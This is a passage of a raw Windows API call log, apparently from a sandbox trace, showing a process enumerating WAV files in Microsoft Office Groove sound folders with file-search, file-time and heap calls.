cFileName="Whistling.wav", cAlternateFileName="")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="")) returned 0 [0078.548] GetLastError () returned 0x12 [0078.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac54d8) returned 1 [0078.548] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac53d0) returned 1 [0078.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.549] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0078.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.551] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.551] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.551] NtClose (Handle=0x164) returned 0x0 [0078.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba328 [0078.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac53d0 [0078.552] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0078.553] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.553] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac54d8 [0078.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba328) returned 1 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfe50 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6450 [0078.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.554] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUZZ.WAV", cAlternateFileName="")) returned 1 [0078.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfe70 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6558 [0078.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.555] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfe90 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6660 [0078.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.556] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADAR.WAV", cAlternateFileName="")) returned 1 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfeb0 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6768 [0078.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.556] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOT.WAV", cAlternateFileName="")) returned 1 [0078.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfed0 [0078.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6870 [0078.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4280) returned 0xacb2b8 [0078.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.558] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIBE.WAV", cAlternateFileName="")) returned 1 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfef0 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6978 [0078.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.558] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 1 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabff10 [0078.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6a80 [0078.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 0 [0078.559] GetLastError () returned 0x12 [0078.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0078.559] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUZZ.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADAR.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOT.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIBE.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 1 [0078.559] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 0 [0078.559] GetLastError () returned 0x12 [0078.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac53d0) returned 1 [0078.560] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac54d8) returned 1 [0078.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0078.560] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0078.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.562] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11b8048 [0078.562] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11b8048, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11b8048, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8048) returned 1 [0078.562] NtClose (Handle=0x174) returned 0x0 [0078.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba328 [0078.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac54d8 [0078.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0078.564] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.564] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0078.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac53d0 [0078.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba328) returned 1 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabff30 [0078.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6b88 [0078.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0078.565] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, 